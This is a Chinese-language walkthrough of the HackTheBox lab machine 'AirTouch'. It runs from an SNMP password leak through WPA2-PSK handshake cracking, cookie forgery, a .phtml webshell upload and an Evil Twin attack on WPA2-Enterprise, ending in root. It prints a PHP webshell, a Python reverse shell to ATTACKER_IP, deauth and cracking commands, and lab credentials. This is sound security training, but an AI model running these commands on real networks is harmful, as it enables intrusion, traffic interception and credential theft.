HackTheBox AirTouch:一场从 SNMP 泄露打进 WPA2 无线内网的攻击链
字数 7622
更新时间 2026-05-10 17:48:15

HackTheBox AirTouch 渗透测试教学文档

概览

本教学文档基于 HackTheBox 靶机“AirTouch”的渗透测试实战记录撰写。该靶机模拟了一个包含无线网络的复杂内网环境,攻击链从公网打点开始,利用 SNMP 服务信息泄露,逐步横向移动,最终通过无线网络攻击(WPA2-PSK 破解与 Evil Twin 攻击)攻破内网核心系统,获取 root 权限。本次渗透涉及 SNMP 利用、网络拓扑分析、容器内横向移动、WPA2 握手包捕获与破解、Web 应用漏洞利用、权限提升、EAP 证书分析与 Evil Twin 攻击等多项技术。


一、 信息搜集阶段

1. TCP端口扫描

使用 rustscan 结合 nmap 对目标 IP 10.129.244.98 进行全端口扫描。

  • 命令: sudo rustscan -a 10.129.244.98 -r 1-65535 -- -sV -O -Pn -n
  • 发现端口: 仅开放 TCP 22 端口 (SSH)。
  • 指纹识别:
    • 服务: OpenSSH 8.2p1 Ubuntu
    • 操作系统: Linux 4.15 - 5.19
  • 关键发现: 返回的 TTL 值为 62,而非典型的 63。这表明攻击者与靶机之间可能还存在一台额外的网络设备(如 VPN 网关或宿主机)。

2. SSH 服务探查

对 SSH 服务进行深入扫描,检查支持的认证方法。

  • 命令: sudo nmap -p 22 --script ssh-auth-methods,banner,sshv1 10.129.244.98 -Pn -n
  • 结果: 支持公钥 (publickey) 和密码 (password) 认证,不支持存在缺陷的 SSHv1 协议。尝试密码登录失败。

3. UDP 服务扫描

由于常见高价值服务(如 DNS, SNMP, DHCP)运行在 UDP 协议上,使用 udpx 工具进行扫描。

  • 命令: udpx -t 10.129.244.98
  • 发现端口: 开放 UDP 161 端口 (SNMP)。

4. SNMP 服务利用

SNMP (简单网络管理协议) 是用于监控和管理网络设备的协议,v1/v2c 版本使用社区字符串(Community String)作为认证凭证,默认只读字符串常为 public

  • 信息枚举:
    • 命令: sudo nmap -sU -p 161 -sC 10.129.244.98 -Pn -n -sV
    • 关键信息: 脚本 snmp-sysdescr 在使用默认 public 社区字符串查询时,返回了系统描述信息,其中包含明文凭据:

      The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)

    • 凭据: 用户名 consultant,密码 RxBlZhLmOkacNWScmZ6D

二、 获取初始立足点 (consultant shell)

1. 登录与基础信息搜集

使用获得的凭据通过 SSH 登录系统。

  • 命令: ssh consultant@10.129.244.98
  • 基础信息:
    • 系统: Ubuntu 20.04,内核 5.4.0-216-generic,架构 x86_64。
    • 用户: UID 1000,为普通用户。
    • IP: 容器内网 IP 为 172.20.1.2
    • 网络接口:
      • eth0@if29: 这是一个 veth pair,确认当前环境处于 Docker 容器中
      • 存在 7 个状态为 DOWN 的无线网卡 (wlan0-wlan6),MAC地址整齐,判断为软件模拟的虚拟网卡。

2. 分析网络拓扑

在家目录 (/home/consultant) 中发现两张网络拓扑图,揭示了整个模拟网络的结构:

[ 攻击者 VPN ] --> [ VPN 网关 ] --> [ 宿主机 (Docker 宿主机) ]
                                                    |
                                        [ Docker 容器 (Consultant VLAN) ]
                                                    | (无线网络桥接)
                                        [ 无线接入点 AP1 (AirTouch-Internet VLAN) ]
                                        [ 无线接入点 AP2 (AirTouch-Office VLAN) ]
                                        [ 客户端设备 (Tablets VLAN) ]
  • 结论: 无需进行 Docker 逃逸,攻击可直接在容器内利用虚拟无线网卡进行,目标为同一宿主机上模拟的其他网络。

3. 权限提升至 root

检查 consultant 用户的 sudo 权限。

  • 命令: sudo -l
  • 结果: (ALL : ALL) NOPASSWD: ALL
  • 解释: 用户 consultant 可以以任何用户身份(包括 root)无需密码运行任何命令。
  • 提权: 直接切换到 root 用户。
    • 命令: sudo susudo -i

4. 发现无线攻击工具

在根目录 (/) 下发现 eaphammer 目录,这是一个用于实施“恶魔双胞胎”(Evil Twin)攻击的无线安全测试工具包,证实了后续攻击将围绕无线网络展开


三、 横向移动到 AirTouch-Internet 网络

1. 扫描无线网络

激活一个无线网卡并扫描附近的无线接入点 (AP)。

  • 激活网卡: ip link set wlan0 up
  • 扫描命令: iwlist wlan0 scan | less
  • 关键发现:
    • AirTouch-Internet: 运行在信道 6,认证方式为 WPA2-PSK (预共享密钥)。
    • AirTouch-Office: 运行在信道 1,认证方式为 WPA2-Enterprise / 802.1X (企业级认证)。

2. 监听流量与捕获握手包

要破解 WPA2-PSK,需要捕获客户端与 AP 完成认证时的四次握手 (4-way handshake) 数据包。

  • 开启监听模式:

    • airmon-ng start wlan0 (会创建虚拟监听接口,如 wlan0mon)
  • 针对目标 AP 监听:

    • airodump-ng -c 6 --bssid F0:9F:C2:A3:F1:A7 -w AirTouch-Internet wlan0mon
    • -c 6: 指定信道。
    • --bssid: 指定目标 AP 的 MAC 地址。
    • -w: 将捕获的数据包写入文件。
    • 输出会显示连接的客户端 (STA) 及其 MAC 地址。
  • 实施 Deauth 攻击:

    • 原理: 向已连接的客户端发送取消认证帧,迫使其与 AP 重新连接,从而产生新的四次握手。
    • 命令: aireplay-ng --deauth 15 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan4mon
      • -a: 目标 AP 的 BSSID。
      • -c: 目标客户端的 MAC 地址。
    • 执行后,在 airodump-ng 的窗口会看到提示 [WPA handshake: ...],表示成功捕获握手包。

3. 离线破解 PSK (WiFi密码)

  • WPA2 四次握手简述:

    1. AP 发送一个随机数 (ANonce) 给客户端。
    2. 客户端生成随机数 (SNonce),并结合预共享密钥 (PSK)、SSID、双方 MAC 地址等信息,计算出一个消息完整性校验码 (MIC),然后发送 SNonce 和 MIC 给 AP。
    3. AP 进行相同计算并验证 MIC,验证通过后发送加密的组临时密钥 (GTK) 给客户端。
    4. 客户端发送确认。
    • 破解关键: 前两次握手交换的 ANonce 和 SNonce 是明文,而 MIC 是由 PSK 参与计算的。攻击者可以通过暴力猜测 PSK,重新计算 MIC 并与捕获的 MIC 比对来破解密码。
  • 使用 aircrack-ng 破解:

    • 命令: aircrack-ng -w /usr/share/wordlists/rockyou.txt -b F0:9F:C2:A3:F1:A7 AirTouch-Internet-01.cap
    • -w: 指定密码字典。
    • -b: 指定目标 AP 的 BSSID。
    • 破解结果: PSK 为 challenge

4. 连接到 AirTouch-Internet

  • 生成连接配置文件:
    wpa_passphrase "AirTouch-Internet" challenge > internet.conf
    
  • 使用 wpa_supplicant 连接 (使用另一网卡,如 wlan1):
    wpa_supplicant -B -i wlan1 -c internet.conf
    dhclient wlan1
    
  • 获取 IP: 成功获取到 192.168.3.23

5. 内网探测

  • 扫描同网段主机: nmap -sn 192.168.3.0/24
  • 发现主机: 192.168.3.1 (MAC地址与 AP 的 BSSID 匹配)。
  • 端口扫描: nmap -p- 192.168.3.1 发现开放 80 端口 (HTTP)。

四、 攻击 Web 应用 (192.168.3.1:80)

1. 访问 Web 界面

建立一个 SOCKS5 代理 (例如使用 chisel),通过本地浏览器访问 http://192.168.3.1。发现一个登录页面。

2. 解密无线流量获取线索

由于已掌握 PSK,可用 Wireshark 解密之前捕获的加密流量 (AirTouch-Internet-01.cap)。

  • Wireshark 设置: 编辑 -> 首选项 -> Protocols -> IEEE 802.11 -> Decryption Keys -> 添加
  • 密钥格式: wpa-pwd:challenge:AirTouch-Internet
  • 过滤 HTTP 流量: 解密后,过滤 http 协议,追踪 TCP 流,发现一个 HTTP 请求的响应中返回了包含“flag”字样的 JSON 数据,并附带了 Cookie: admin=false; user=consultant

3. 会话伪造与越权访问

  • 漏洞:Web 应用通过 Cookie 中的 admin 字段判断用户权限,且未经验证。
  • 利用:将 Cookie 修改为 admin=true; user=consultant 后刷新页面,成功以管理员身份登录后台。
  • 自动化: 在 Burp Suite 中设置匹配规则 (Match and Replace),自动修改请求中的 Cookie。

4. 文件上传 Getshell

管理员后台存在文件上传功能。

  • 初始尝试: 上传 shell.php 失败,提示文件类型不允许 (黑名单过滤)。
  • 绕过: 修改文件后缀为 .phtml (同样可被 PHP 解析),上传成功。
  • Webshell 内容: <?php system($_REQUEST['cmd']); ?>
  • 验证: 访问 http://192.168.3.1/uploads/shell.phtml?cmd=id,成功执行命令,当前用户为 www-data

5. 获取反向 Shell

  • 生成 Payload (例如从 revshells.com):
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
    
  • Base64 编码 后通过 Webshell 执行。
  • 稳定化 Shell:
    python3 -c 'import pty; pty.spawn("/bin/bash")'  # 生成 PTY
    export TERM=xterm  # 设置终端类型
    # Ctrl+Z 挂起后,在本地终端执行:
    stty raw -echo; fg
    

6. 权限提升至 user

  • 信息搜集: 在 Web 根目录发现 login.php,其中硬编码了凭据: $user='consultant'; $pass='JunDRDZKHDnpkpDDvay';
  • 密码复用: 尝试使用该密码切换为系统用户 consultant (su consultant),成功。
  • 提权: 该 consultant 用户同样拥有无密码的完整 sudo 权限 (sudo -l),直接 sudo su 获取 root 权限。
  • 获取 User Flag: 在 /root 目录下找到 user.txt

五、 Evil Twin 攻击 AirTouch-Office 网络

1. 信息搜集与证书分析

在 root 目录下发现:

  • certs-backup/: 包含 CA 证书 (ca.crt)、服务器证书 (server.crt)、服务器私钥 (server.key) 及相关配置文件。
  • send_certs 脚本: 用于将证书同步到 remote@10.10.10.1,并泄露了密码 xGgWEwqUpfoOVsLeROeG
  • 推断: AirTouch-Office 网络使用 WPA2-Enterprise (EAP),其服务器端认证证书正是这些文件。攻击者获得服务器私钥后,可伪造 AP 进行中间人攻击。

2. Evil Twin 攻击原理

  • 概念: 搭建一个与合法 AP (AirTouch-Office) 同名的虚假 AP,诱使客户端连接。
  • 必要条件: 对于 WPA2-Enterprise (如 EAP-PEAP),需要合法的服务器证书来通过客户端的证书验证。由于我们拥有私钥 (server.key),可以成功建立 TLS 连接。

3. 实施攻击

  • 准备: 从目标机器下载证书文件到攻击机 (Consultant 容器)。
  • 使用 eaphammer 工具:
    ./eaphammer --cert-wizard import --ca-cert ca.crt --cert server.crt --private-key server.key
    ./eaphammer -i wlan3 --essid AirTouch-Office --auth wpa-eap --creds
    
    • 此命令会创建一个名为 “AirTouch-Office” 的恶意 AP,并使用导入的证书。
  • 强制客户端重连:
    • 对原 AirTouch-Office 网络发起 Deauth 攻击: aireplay-ng --deauth 0 -a [AirTouch-Office_BSSID] wlan4mon (-a 参数为真实 AP 的 BSSID)。
    • 客户端断开后会尝试重新连接,将连接到信号更强的恶意 AP。
  • 捕获凭据: 当客户端连接并尝试 EAP-PEAP 认证时,eaphammer 会拦截 MSCHAPv2 挑战/响应过程,并计算出 NTLM 哈希。
  • 破解哈希: 使用 hashcatjohn 对捕获的 NetNTLMv2 哈希进行破解。
    • 命令示例: hashcat -m 5600 hash.txt rockyou.txt
    • 破解结果: 获得用户明文密码。

4. 连接 AirTouch-Office 并横向移动

  • 手动创建连接配置文件 (office.conf):
    network={
        ssid="AirTouch-Office"
        key_mgmt=WPA-EAP
        eap=PEAP
        identity="[破解得到的用户名]"
        password="[破解得到的密码]"
        phase2="auth=MSCHAPV2"
    }
    
  • 连接网络: wpa_supplicant -B -i wlan2 -c office.conf; dhclient wlan2
  • 获取 IP: 获得 10.10.10.38
  • SSH 登录: 使用 send_certs 脚本中泄露的凭据 remote:xGgWEwqUpfoOVsLeROeG 登录 10.10.10.1 (ssh remote@10.10.10.1)。

六、 最终权限提升与获取 Root Flag

1. 信息搜集

  • 用户 remote 为普通用户,无 sudo 权限,家目录中无 flag。
  • 发现 /home/remote/admin 目录,但无访问权限。

2. 分析运行进程

  • 命令: ps aux | grep -v “\[“
  • 发现: 存在 /usr/sbin/hostapd-eaphammer /etc/hostapd-eaphammer/hostapd.conf 进程。
  • hostapd 作用: 这是一个用户空间守护进程,用于创建无线接入点 (AP) 和认证服务器。在 EAP 认证中,它需要用户数据库。

3. 定位用户数据库

  • 查阅 hostapd 文档,其 EAP 用户信息常存储在文件中,后缀为 .eap_user
  • 查找文件: find / -name “*.eap_user“ 2>/dev/null
  • 发现: /etc/hostapd-eaphammer/hostapd.eap_user
  • 查看内容: cat /etc/hostapd-eaphammer/hostapd.eap_user
  • 结果: 文件中包含明文的用户名和密码,格式如 “admin“ MD5 “admin_password_here“。从中获得 admin 用户的密码。

4. 提权至 root

  • 切换用户: su admin,使用从文件中获得的密码。
  • 检查 sudo 权限: sudo -l,发现 admin 用户同样配置了 (ALL : ALL) NOPASSWD: ALL
  • 最终提权: sudo su
  • 获取 Root Flag: 在 /root 目录下找到 root.txt

攻击链总结

  1. 外部信息搜集: 通过 SNMP 默认社区字符串 public 泄露 consultant 用户密码。
  2. 初始访问: SSH 登录,利用配置错误的 sudo 提权至 root。
  3. 内部侦察: 识别容器环境与虚拟无线网络拓扑。
  4. 无线网络攻击 (WPA2-PSK):
    • 监听并 Deauth 攻击 AirTouch-Internet 网络。
    • 捕获四次握手包,离线字典破解获得 PSK (challenge)。
    • 连接至该无线网络。
  5. 内网横向移动:
    • 扫描发现 AP 管理界面 (192.168.3.1:80)。
    • 解密流量发现 Cookie 越权漏洞,伪造管理员会话。
    • 通过文件上传黑名单绕过 (.phtml) 获取 Webshell,并建立反向连接。
    • 从源码发现硬编码密码,复用至系统用户 consultant,再次利用 sudo 提权。
  6. 证书窃取与无线网络攻击 (WPA2-Enterprise):
    • 发现自签名 CA 及服务器证书/私钥,以及同步脚本泄露的 SSH 密码。
    • 实施 Evil Twin 攻击,伪造 AirTouch-Office AP,利用真实服务器私钥通过客户端证书验证。
    • 拦截 EAP-PEAP/MSCHAPv2 认证过程,破解出用户凭据。
  7. 连接最终网络与权限提升:
    • 使用破解的凭据连接 AirTouch-Office 网络。
    • 使用脚本泄露的密码 SSH 登录 remote@10.10.10.1
    • 分析 hostapd 配置,在 hostapd.eap_user 文件中找到 admin 用户明文密码。
    • 切换至 admin 用户,利用配置错误的 sudo 最终提权至 root,捕获最终 Flag。

核心要点: 本靶机深入串联了网络协议漏洞 (SNMP)、配置错误 (sudo)、Web 漏洞 (会话伪造、文件上传)、无线安全 (WPA2-PSK/Enterprise 攻击链) 等多种渗透测试技术,展示了从外网到复杂内网的完整攻击路径。

相似文章
相似文章
 全屏